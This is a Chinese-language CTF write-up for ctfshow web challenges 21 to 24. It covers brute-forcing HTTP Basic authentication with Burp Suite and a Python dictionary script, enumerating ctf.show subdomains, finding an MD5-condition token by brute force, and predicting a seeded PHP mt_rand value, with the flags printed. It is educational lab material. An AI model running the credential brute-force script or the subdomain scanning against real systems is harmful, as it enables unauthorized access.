ctfshow-web入门-爆破(web21-web24)

目录

1、web21

2、web22

3、web23

4、web24


1、web21

爆破什么的,都是基操

需要认证才能访问

随便输一个用户名和密码抓包看看:

多出来一个认证的头 Authorization: Basic YWRtaW46MTIzNDU2

base64 解码看看:

就是我们刚才输入的用于测试的用户名和密码

发到攻击模块进行爆破,设置爆破的位置

有限载荷选择自定义迭代器,因为它这里的用户名和密码合并在了一起,使用冒号隔开的,如果是相互独立的参数,多个参数我们会采用其他的攻击模式而不是使用狙击手。

设置位置一:用户名(其实一般我们猜都是猜 admin )

设置位置二:冒号

设置位置三:密码

我这里最开始用字典没爆破出来,看了它的提示,密码是shark63(这里主要是做测试)

之后我们需要对 payload 进行base64 编码

注意这里需要将 URL 编码取消掉:

查看爆破结果,筛选长度不同的:YWRtaW46c2hhcms2Mw==

解码为:

登录:

拿到 flag:ctfshow{1ccf243b-8b20-4db4-b956-8c571066c0c5}

参考了一下它这个代码,有点问题:

自己重新写了个简单的:其中 test.txt 是我们自定义的一个密码字典

import requests
import base64

url = 'https://bc4afed2-ccc8-4ecc-a665-be5a5420435c.challenge.ctf.show/'

with open("test.txt", "r") as f:
    for i in f:
        i = i.strip()
        payload = "admin:"+i
        header = {"Authorization": "Basic {}".format(base64.b64encode(payload.encode()).decode())}
        # payload.encode() 将字符串 payload 转换为字节串
        re = requests.get(url, headers=header)
        # print(re.status_code)
        if re.status_code == 200:
            print(re.text)

运行即可拿到 flag:ctfshow{3233c118-e8d4-461e-aba5-ba801a420a31}

2、web22

域名也可以爆破的,试试爆破这个ctf.show的子域名

flag.ctf.show 页面无法访问(前面有一个查这个域名的 DNS 的 TXT信息的题也是有问题)

使用 layer 挖一下 ctf.show 的子域名

网上说是在 vip.ctf.show ,将鼠标悬停在标题处,但是我试了一下现在已经不行了

flag 为:flag{ctf_show_web}

3、web23

还爆破?这么多代码,告辞!

php 函数介绍:

(1)intval 函数用于将变量转换为整数

示例:

echo intval("42"); // 输出 42
echo intval("42abc"); // 输出 42
echo intval("abc42"); // 输出 0

(2)substr 函数用于从字符串中提取子字符串

用法:

$substring = substr($string, $start, $length);

参数说明:

string:要提取子字符串的字符串。

start:开始位置,从 0 开始。如果是负数,则从字符串末尾开始计算位置。

length(可选):提取的子字符串长度。如果省略,则提取从 start 到字符串末尾的所有字符。

示例:

echo substr("Hello, world!", 4);
echo substr("Hello, world!", 4, 5);

代码审计:

以 get 方式提交参数 token;

md5($_GET['token']) 会将 token 参数转换为一个 32 字符的十六进制字符串;

substr( t o k e n , 1 , 1 ) = = = s u b s t r ( token, 1,1) === substr( token,1,1)===substr(token, 14,1) && substr( t o k e n , 14 , 1 ) = = = s u b s t r ( token, 14,1) === substr( token,14,1)===substr(token, 17,1)

比较 MD5 哈希的第 2、15 和 18 个字符是否相同;

(intval(substr( t o k e n , 1 , 1 ) ) + i n t v a l ( s u b s t r ( token, 1,1))+intval(substr( token,1,1))+intval(substr(token, 14,1))+substr( t o k e n , 17 , 1 ) ) / s u b s t r ( token, 17,1))/substr( token,17,1))/substr(token, 1,1) === intval(substr($token, 31,1)) 将第 2、15 和 18 个字符转换为整数相加,再除以第 2 个字符的整数值,检查结果是否等于第 32 个字符的整数值;

上述条件都满足则会输出 flag。

写个Python 脚本来遍历出符合要求的字符串:

import hashlib
import itertools


def check_token(token):
    """
    检查给定的 token 是否符合特定的条件。
    1. token 的 MD5 哈希值的第 2、15 和 18 个字符相同。
    2. 这些字符的整数值与第 32 个字符满足特定的算术关系。
    """
    hashed_token = hashlib.md5(token.encode()).hexdigest()

    # 条件1:检查第 2、15 和 18 个字符是否相同
    if not (hashed_token[1] == hashed_token[14] == hashed_token[17]):
        return False

    # 条件2:检查特定的算术关系
    try:
        char1 = int(hashed_token[1])
        char31 = int(hashed_token[31])

        # 避免除零错误
        if char1 == 0:
            return False

        if (3 * char1) / char1 == char31: 
        # 第 2、15 和 18 个字符是相同的,因此它们转成整数值也是相同的,所以直接用 3 倍关系
            return True
    except ValueError:
        return False

    return False

# 定义包含所有字母和数字的字符集
characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"

# 遍历所有可能的组合(这里以长度为1到5为例,可以根据需要调整)
for length in range(1, 6):  # 尝试长度从 1 到 5 的组合
    for candidate in (''.join(c) for c in itertools.product(characters, repeat=length)):
        if check_token(candidate):
            print(f"符合条件的 token 是: {candidate}")
            break  # 找到符合条件的 token 后停止
    else:
        continue  # 如果内循环没有中断,则继续外循环
    break  # 找到符合条件的 token 后,退出外循环
else:
    print("没有找到符合条件的 token")  # 如果所有组合都不符合条件,输出消息

构造 payload:token=ZE

拿到 flag:ctfshow{3ee12286-7b8f-4962-bf3c-ebbc8c04ce10}

4、web24

爆个??

代码审计:

mt_srand(372619038); 使用 mt_srand() 函数设置 Mersenne Twister 随机数生成器的种子为固定值 372619038,这会使随机数生成器生成的随机数序列在每次运行时都相同,因为种子值固定了;if(intval($r)===intval(mt_rand())){ 检查 GET 参数 r 转换为整数后是否等于调用 mt_rand() 生成的随机数的整数值,等于则输出 flag。

我们只需要使用给定的种子生成对应的随机数再转为整数即可

<?php
    mt_srand(372619038);
    echo intval(mt_rand());
?>

运行得到:1155388967,传给 r

拿到 flag:ctfshow{8e8f18d8-f1b5-465d-b27a-1738b6909279}

相关推荐
bin91532 小时前
DeepSeek 助力 Vue 开发:打造丝滑的复制到剪贴板(Copy to Clipboard)
前端·javascript·vue.js·ecmascript·deepseek
月光水岸New2 小时前
Ubuntu 中建的mysql数据库使用Navicat for MySQL连接不上
数据库·mysql·ubuntu
狄加山6752 小时前
数据库基础1
数据库
我爱松子鱼2 小时前
mysql之规则优化器RBO
数据库·mysql
chengooooooo3 小时前
苍穹外卖day8 地址上传 用户下单 订单支付
java·服务器·数据库
晴空万里藏片云3 小时前
elment Table多级表头固定列后,合计行错位显示问题解决
前端·javascript·vue.js
曦月合一3 小时前
html中iframe标签 隐藏滚动条
前端·html·iframe
奶球不是球3 小时前
el-button按钮的loading状态设置
前端·javascript
kidding7233 小时前
前端VUE3的面试题
前端·typescript·compositionapi·fragment·teleport·suspense
Rverdoser4 小时前
【SQL】多表查询案例
数据库·sql